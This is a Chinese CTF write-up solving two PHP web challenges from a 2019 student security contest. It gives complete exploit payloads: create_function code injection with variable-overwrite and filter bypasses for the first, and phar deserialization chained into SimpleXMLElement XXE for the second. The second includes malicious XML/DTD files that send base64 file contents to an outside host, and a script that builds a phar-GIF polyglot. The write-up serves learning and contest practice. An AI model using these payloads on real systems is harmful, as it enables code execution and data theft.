北邮中学生网安杯2019 web解题记录

 

0x1 前言

​ 感觉自己很久没怎么看ctf比赛了(基本不怎么刷题了),一方面可能是自己太菜了,另一方面,自己有其他想法去锻炼coding的能力。这次看到别人发的网安杯,看了一眼,因为是代码审计的题目,感觉很有意思,在做题的时候感觉学到了很多实用的tips,虽然官方wp写的很详细,但是我还是厚着脸皮来跟大家分享下我的做题思路。

 

0x2 Web1 easy php

题目现在还没有关,链接:easy php

进去得到是源代码:

<?php 
highlight_file(__FILE__); 
echo "</hr>"; 
error_reporting(0); 

if($_REQUEST) { 
    foreach($_REQUEST as $key=>$value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('go away'); 
    } 
} 

if($_SERVER) { 
    if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING']))  
        die('go away'); 
} 

$ia = "index.php"; 
if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') { 
    $ia = $_GET["ia"]; 
} 

if(file_get_contents($ia)!=='buptisfun') { 
    die('go away'); 
} 

$liupi = $_GET['liupi']; 
$action=''; 
$arg=''; 
if(substr($_GET['liupi'], 32) === sha1($_GET['liupi'])) { 
    extract($_GET["flag"]); 
} 

if(preg_match('/^[a-z0-9_]*$/isD', $action)) { 
    die('go away'); 
} else { 
    $action('', $arg); 
} 

?> 
go away

这个题目其实吸引我的地方其实是这里引用了p神的一道题目:

if(preg_match('/^[a-z0-9_]*$/isD', $action)) { 
    die('go away'); 
} else { 
    $action('', $arg); 
}

之前一直想打算花个时间,好好学习下p神题目精髓,不过自己一直没动手(懒惰是菜的原罪),所以这次当作一个契机。

这里之前看过其他师傅的wp,关于原理还有怎么利用都有讲,也就是说这里可以导致代码执行。

简单介绍下如何利用:

这里预先假设$action,$arg我们是可控的

直观理解: PHP create_function()代码注入

create_function在7.0废弃了,

源码层面解释下:

Zend/zend_builtin_functions.c

#define LAMBDA_TEMP_FUNCNAME    "__lambda_func" //宏定义
/* {{{ proto string create_function(string args, string code)
   Creates an anonymous function, and returns its name (funny, eh?) */
ZEND_FUNCTION(create_function)
{
    char *eval_code, *function_name, *function_args, *function_code;
    int eval_code_length, function_name_length, function_args_len, function_code_len;
    int retval;
    char *eval_name;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &create_function, &function_args_len, &function_code, &function_code_len) == FAILURE) { //成功解析读取php参数值,就继续下去,否则return
        return;
    }

    eval_code = (char *) emalloc(sizeof("function " LAMBDA_TEMP_FUNCNAME)
            +function_args_len
            +2    /* for the args parentheses */
            +2    /* for the curly braces */
            +function_code_len); //申请代码存放的空间 function __lambda_func 

    eval_code_length = sizeof("function " LAMBDA_TEMP_FUNCNAME "(") - 1;
    memcpy(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(", eval_code_length);
    //eval_code = function __lambda_func (

    memcpy(eval_code + eval_code_length, function_args, function_args_len);
    eval_code_length += function_args_len;
    //eval_code = function __lambda_func (function_args 

    eval_code[eval_code_length++] = ')';
    eval_code[eval_code_length++] = '{';
    //  function __lambda_func (function_args){

    memcpy(eval_code + eval_code_length, function_code, function_code_len);
    eval_code_length += function_code_len;

    eval_code[eval_code_length++] = '}';
    //很明显看出来这里拼接了匿名 参数和代码 这两个值我们是可控的
    eval_code[eval_code_length] = '';
    //结束符

    eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
    //zend_eval_stringl可以编译php代码,执行对应opcode(指令操作),这里类似于eval
    retval = zend_eval_stringl(eval_code, eval_code_length, NULL, eval_name TSRMLS_CC);
    efree(eval_code);//释放变量内存空间
    efree(eval_name);

ps.有想跟我一样准备开始从底层去深入了解php的,推荐一本我在看的书深入理解php内核

经过上面的分析可以得知,我们可以知道这个函数就是简单拼接 参数和内容

那么利用create_function('', '}phpinfo();//')

在底层就是:

function __lambda_func (){}phpinfo();//')}

这里php代码就分开两部分,phpinfo();就逃逸出来了

if(preg_match('/^[a-z0-9_]*$/isD', $action)) { //利用命名空间绕过 create_function
    die('go away'); 
} else { 
    $action('', $arg); //代码注入
}

回到题目继续分析上去:(逆向解题过程)

..................//上面省略

$liupi = $_GET['liupi']; 
$action=''; 
$arg=''; 
if(substr($_GET['liupi'], 32) === sha1($_GET['liupi'])) { //这里经典的是数组绕过sha类型比较 
    extract($_GET["flag"]);  //这里非常nice,经典变量覆盖
}

也就是说$action,$arg 可以利用变量覆盖来进行控制,

Payload: liupi[]=x&flag[arg]=}phpinfo();//&flag[action]=create_function

这里有个坑哈,当时我傻傻的flag[‘arg’],给变量加了单引号是不行。

继续读上去,看看还有什么限制不:

//payload:
//GET:`%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&%6c%69%75%70%69[]=x&%66%6c%61%67[arg]=&%66%6c%61%67[action]=}phpinfo();//&ia=data://text/plain,%62%75%70%74%69%73%66%75%6e`
//POST:
if($_REQUEST) { 
    foreach($_REQUEST as $key=>$value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            //这里不能出现字母,但是可以利用
            //php解析$_REQUESTS时,按照$_ENV(环境变量),$_GET(GET相关参数), $_POST(POST相关参数),                 $_COOKIE(COOKIE键值), $_SERVER(服务器及运行环境相关信息)的顺序进行加载和同名覆盖
            //所以说我们只要post一个相同的变量值为数字就可以绕过了。
            die('go away'); 
    } 
} 
//利用burp的编码,选择all characters
//payload:`%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&%6c%69%75%70%69[]=x&%66%6c%61%67[arg]=}phpinfo();//&%66%6c%61%67[action]=create_function&ia=data://text/plain,%62%75%70%74%69%73%66%75%6e`

if($_SERVER) { 
    if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING'])) 
        //?其后的内容 不能出现flag|liupi|bupt,但是根据下面可以得知肯定要出现
        // 这里便有个tips:$_SERVER['QUERY_STRING']不会进行urldecoe解码,要不然很容易造成xss呀(我想的理由)
        //但是$_GET会解码在获取
        die('go away'); 
} 

//payload:  bupt=buptisfun%0a&liupi[]=x&flag[arg]=}phpinfo();//&flag[action]=/create_function&ia=data://text/plain,buptisfun//
$ia = "index.php"; 
if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') { 
  //preg_match正则没有/d的话代表在附近 buptisfun%0a 这样也是匹配成功的
    $ia = $_GET["ia"]; 
} 

if(file_get_contents($ia)!=='buptisfun') { 
    die('go away'); 
    //这个可以用file_get_contents可以读取协议来绕过,直接读取变量会报错
    //ia=data://text/plain,buptisfun
}

这里四个if对应了四个考点,非常nice,感觉学到很多东西

下面演示下如何进行代码注入:

image-20190124195115247

payload:

http://58.87.73.74:8081/?%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&%6c%69%75%70%69[]=x&%66%6c%61%67[arg]=}phpinfo();//&%66%6c%61%67[action]=create_function&ia=data://text/plain,%62%75%70%74%69%73%66%75%6e

post:bupt=1&ia=1 因为flag[action]&liupi都是数组,所以不会匹配到$value值所以这里只需要覆盖两个变量就行

image-20190124195334488

关于如何拿到flag,就是你们去思考的事情了,都代码注入了,还不行吗???

 

0x2 Web2 – annoying class

题目链接:annoying class

0x2.1 常规解题步骤

image-20190124205833414

点一下发现:

http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=upload/f80ab1372d366318f1ba16ac24545c8b5dfcfc29.jpg

这么经典链接,想到应该是个文件读取吧,试试

http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=do.php

image-20190124210253666

然后点击就可以得到源码了:

do.php

<?php
    error_reporting(0);
    require_once "class.php";
    // require_once "flag.php";
    header("content-type:text/html;charset=utf-8");
    ini_set('open_basedir','/var/www/html/:/tmp');

    $ll1lIl = $_GET["module"];
    $lI1111 = $_GET["args"];

    if (empty($ll1lIl)) {
        $lI1I11='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; 
        header('Location: '.dirname($lI1I11)."/index.html");
    } else {
        $Il11II = new o0Ooo0oO($ll1lIl, $lI1111);
    }
?>

这里很明显考点时flag.php,当时我直接试了

http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=flag.php 发现不行,也不可能那么简单吧。

这个时候去读class.php(这里也是我感觉挺有意思的一个点)

class.php

<?php

class oOO0000O {
    private $ll1lIl;
    public function __construct($ll1lIl) {
        $this->ll1lIl = $ll1lIl;
    }

    private function lI1111() {
        if(preg_match("/file|..|flag/i", $this->ll1lIl)) {
            return false;
        }
        if(!file_exists($this->ll1lIl)){
            return false;
        }
        return true;
    }

    public function __destruct() {
        if(!$this->lI1111()) {
            die('I'm not stupid!');
        }

        echo "<img src="data:".mime_content_type($this->ll1lIl).";charset=utf-8;base64,";
        echo base64_encode(file_get_contents($this->ll1lIl));
        echo "" \>";
    }
}

class OOOo0Oo0 {
    private $ll1lIl;
    private $lI1111;
    private $lI1I11;

    public function __construct() {
        $this->ll1lIl = $_FILES["file"]["name"];
        $this->lI1I11 = file_get_contents($_FILES["file"]["tmp_name"]);
    }

    private function IlII1l() {
        $IllI1I = array('jpg', 'png', 'gif', 'jpeg');
        $Il11ll = explode(".", $this->ll1lIl);
        $this->lI1111 = end($Il11ll);
        if (!in_array($this->lI1111, $IllI1I)) {
            return false;
        }
        $this->ll1lIl = sha1(random_bytes(40));
        return true;
    }

    public function __destruct() {
        if( !$this->IlII1l() ) {
            die("I'm not a stupid person!");
        }

        if (file_exists("upload/".$this->ll1lIl.'.'.$this->lI1111)) {
            unlink("upload/".$this->ll1lIl.'.'.$this->lI1111);
        }

        file_put_contents("upload/".$this->ll1lIl.'.'.$this->lI1111, $this->lI1I11);
        die("I have done everything for you, checkout " . $this->ll1lIl);
    }
}

class o0Ooo0oO {
    private $ll1lIl;
    private $lI1111;

    public function __construct($ll1lIl, $lI1111) {
        $this->ll1lIl = $ll1lIl;
        $this->lI1111 = $lI1111;
        if (!$this->lI1I11()) {
            die('Can not do that for you!');
        }
    }

    private function lI1I11() {
        if(in_array($this->ll1lIl, array('oOO0000O', 'OOOo0Oo0'))) {
            return true;
        }
        $this->ll1lIl="";
        $this->lI1111=array('');
        return false;
    }

    public function __call($ll1lIl, $lI1111) {
        $class = new ReflectionClass($ll1lIl);
        $a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array());
    }

    public function __destruct() {
        if($this->ll1lIl !== '') {
            $this->{$this->ll1lIl}($this->lI1111);
        }
    }
}

0x2.2 开始分析审计思路

这个文件咋看感觉命名恶心,但是你认真去读下,熟悉下出题思路,就感觉很容易分清楚谁是谁了。

do.php

    $ll1lIl = $_GET["module"];
    $lI1111 = $_GET["args"];

    if (empty($ll1lIl)) {
        $lI1I11='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; 
        header('Location: '.dirname($lI1I11)."/index.html");
    } else {
        $Il11II = new o0Ooo0oO($ll1lIl, $lI1111);//实例o0Ooo0oO,并可以控制参数
    }

do.php作用就是实例化o0Ooo0oO类了,那我们跟进class.php o0Ooo0oO类看看

class o0Ooo0oO {
    private $ll1lIl;
    private $lI1111;

    public function __construct($ll1lIl, $lI1111) {//这是类构造函数
        $this->ll1lIl = $ll1lIl; //$_GET["module"]
        $this->lI1111 = $lI1111; //$_GET["args"]
        if (!$this->lI1I11()) {//调用$this->lI1I11()限定了ll1lIl只能为当前文件下的两个类名
            die('Can not do that for you!');
        }
    }

    private function lI1I11() { //限定了ll1lIl只能为当前文件下的两个类名
        if(in_array($this->ll1lIl, array('oOO0000O', 'OOOo0Oo0'))) {
            return true;
        }
        $this->ll1lIl="";
        $this->lI1111=array('');
        return false;
    }

    public function __call($ll1lIl, $lI1111) { //__call当调用不存在的方法时候触发
        $class = new ReflectionClass($ll1lIl); //可以调用任意类,构造函数有限制,但可以绕过
        $a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array());
    }

    public function __destruct() { //析构函数
        if($this->ll1lIl !== '') { //判断
            $this->{$this->ll1lIl}($this->lI1111);//调用方法
        }
    }

但从这个类分析,很容易想到出题人是想我们通过析构函数通过传入一个不存在的方法去触发__call

然后去调用类来做点事情。

这种题目想做出来,按图索骥其实行不通的,要寻找个POP chain,就需要先全部读一下有什么功能,然后在信息关联,

重组。(这个题目我个人感觉还是需要做题经验比较丰富才能KO吧)

那么我们继续读下,文件中的另外两个类

class oOO0000O { //
    private $ll1lIl;
    public function __construct($ll1lIl) {
        $this->ll1lIl = $ll1lIl;
    }

    private function lI1111() {
        if(preg_match("/file|..|flag/i", $this->ll1lIl)) { //限制了flag
            return false;
        }
        if(!file_exists($this->ll1lIl)){ //这里有个判断文件是否存在
            return false;
        }
        return true;
    }

    public function __destruct() {
        if(!$this->lI1111()) { //这里析构函数判断了一波
            die('I'm not stupid!');
        }

        echo "<img src="data:".mime_content_type($this->ll1lIl).";charset=utf-8;base64,";
        echo base64_encode(file_get_contents($this->ll1lIl)); //这里读取了文件内容
        echo "" \>";
    }
}

这个点其实就是:

http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=upload/f80ab1372d366318f1ba16ac24545c8b5dfcfc29.jpg

文件读取的成因了。

若我们上面所讲是

o0Ooo0oO类下析构函数通过传入一个不存在的方法(oOO0000O)去触发__call

然后通过new ReflectionClass去反射

类(oOO0000O),传入$this->ll1lIl文件名,最终在析构函数那里输出了文件内容。

所以说这个点可以读取除了/file|..|flag/i外的文件,这里还需要注意的是

if(!file_exists($this->ll1lIl))这里有个判断文件,这个时候可以联想下phar反序列化

我们继续去读下另外一个类

class OOOo0Oo0 {
    private $ll1lIl;
    private $lI1111;
    private $lI1I11;

    public function __construct() {
        $this->ll1lIl = $_FILES["file"]["name"];
        $this->lI1I11 = file_get_contents($_FILES["file"]["tmp_name"]);
    }

    private function IlII1l() {
        $IllI1I = array('jpg', 'png', 'gif', 'jpeg');
        $Il11ll = explode(".", $this->ll1lIl);
        $this->lI1111 = end($Il11ll);
        if (!in_array($this->lI1111, $IllI1I)) {
            return false;
        }
        $this->ll1lIl = sha1(random_bytes(40));
        return true;
    }

    public function __destruct() {
        if( !$this->IlII1l() ) {
            die("I'm not a stupid person!");
        }

        if (file_exists("upload/".$this->ll1lIl.'.'.$this->lI1111)) {
            unlink("upload/".$this->ll1lIl.'.'.$this->lI1111);
        }

        file_put_contents("upload/".$this->ll1lIl.'.'.$this->lI1111, $this->lI1I11); //这里写入了文件内容可控的图片文件
        die("I have done everything for you, checkout " . $this->ll1lIl);
    }
}

读完代码之后,其实大概的想法你应该会有一点了。

0x2.3 梳理下思路

  1. o0Ooo0oO类是我们入口类,可以调用任意类,但需要绕过构造函数的判断,(反序列可以绕过构造函数,这些都是你见到代码应该会联想到的东西,如果你不了解反序列化是啥,那么这道题真的做不出来)
  2. oOO0000O类是第二个类,可以通过入口类来调用,可以读取文件,同时存在file_exists($this->ll1lIl)这个可以传入协议触发phar反序列化的点
  3. OOOo0Oo0类是第三个类,可以写入图片内容

综合以上3点,还有你的刷题经验和php理解程度,不难得出以下想法:

通过上传phar文件触发phar反序列化,实例o0Ooo0oO类,去调用SimpleXMLElement通过xxe读取flag.php文件内容

0x2.4 payload构造

推荐一篇简单易懂的文章: 初探phar://

分析下这个SimpleXMLElement类的构造函数

SimpleXMLElement::__construct

这里第一个参数必填,其他两个选填,这里讲下:

这是我本地调试的代码

<?php
echo LIBXML_NOENT; //这个结果是2
$xml = '<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/123.txt">
<!ENTITY % remote SYSTEM "https://ham.exeye.io/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>';
// print_r(simplexml_load_string($xml));
$exp = new SimpleXMLElement('https://ham.exeye.io/evil.xml',LIBXML_NOENT,True);
?>

$exp = new SimpleXMLElement('https://ham.exeye.io/evil.xml',LIBXML_NOENT,True);

这里第一个参数是$xml的内容,

第二个是解决libxml在>=2.9之后默认不解析外部实体,这里可以填

LIBXML_NOENT 或者 2 可以看下文档写了类型是int(p神说直接打印 LIBXML_NOENT 就是 2,666)

第三个是默认是False,True的话代表第一个传入的是url

    public function __call($ll1lIl, $lI1111) {
        $class = new ReflectionClass($ll1lIl);
        $a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array());
    }

newInstanceArgs 这个看文档得知传入的应该是数组。

这里很有意思,这里看到是取了数组值第0个键值,我当时觉得应该是这样构造

$exp = new o0Ooo0oO('o0Ooo0oO', array(array('https://ham.exeye.io/evil.xml',NULL, true));

但是这样是错的,具体看下图,注意打印数组的维数变化

image-20190125115200457](https://ws2.sinaimg.cn/large/006tNc79gy1fziouewtw6j32200tek6f.jpg)!FBC9C84DFEE0B73BD1FC0EAB58463351

原因就在于魔术方法__call 的第二个参数是数组类型,做了隐含转换

image-20190125115437211

evil.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % remote SYSTEM "https://ham.exeye.io/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

evil.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ham.exeye.io/?%file;'>">

生成phar.gif(参考了官方wp的代码)

 <?php
class o0Ooo0oO {
    private $ll1lIl;
    private $lI1111;
    public function __construct($ll1lIl, $lI1111) {
        $this->ll1lIl = $ll1lIl;
        $this->lI1111 = $lI1111;
    }
}
$exp = new o0Ooo0oO('SimpleXMLElement',array('https://ham.exeye.io/evil.xml', 2, true));
//这里构造了反射类SimpleXMLElement的参数数组array('https://ham.exeye.io/evil.xml', 2, true) => $this->lI1111
echo serialize($exp);
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
// 增加gif文件头
$phar->setMetadata($exp);
$phar->addFromString("test.jpg","test");
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>

上传得到

74f59ecd8e636ff3f99197c9c6213f69a3ead11a

然后构造下,通过file_exists()去触发反序列化,访问

http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=phar:///var/www/html/upload/74f59ecd8e636ff3f99197c9c6213f69a3ead11a.gif/test.jpg

然后查看下返回结果

image-20190125111511590

解密,就是flag了

 

0x3 总结

​ 这次非常有幸做到两个好题目,第一个让我掌握了很多php的tricks,第二个让我掌握了本来就对反序列了解很浅有了个入门的认识,还了解了一些xxe的原生类读取文件的知识,这里很感谢p神,lemon师傅解答我比较基础的问题,比如如何查看参数的int值,比如反射类的时候通过传入数组,去开启libxml的解析外部实体,达到绕过版本限制问题,因为一开始我和另一位基友觉得题目应该不是xxe,有版本限制的,而且环境还是php7.0,但是我想了那个pornhub

那篇漏洞文章(https://5haked.blogspot.com/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1),里面讲到

In hacking terminology, XML is almost immediately associated with XXE. However, as I managed to fetch the php version installed the server, PHP version 5.6.17 have managed to “immune” the SimpleXMLElement class to XXE – if an external entity exists, the class throws an exception and stops the XML processing. Thus, I swiftly realized a basic XXE will not be of any use in this case.

Despite of the poor success in XXE exploitation so far, SimpleXMLElement constructor does contain an optional parameter named “options”, which is used to specify additional Libxml parameters.
One of those parameters is “LIBXML_DTDLOAD” – which later on enabled me to load external DTD and make XXE Out-Of-Band attack after all.

After sharpening my XML-writing skills and deploying a myriad of attempts, I managed to s

他这里恰恰是我想,然后跑去问了下l3mon师傅,佐证了这个想法,然后就有了上文的分析过程了。

 

0x4参考

官方wp
How I hacked Pornhub for fun and profit – 10,000$

(完)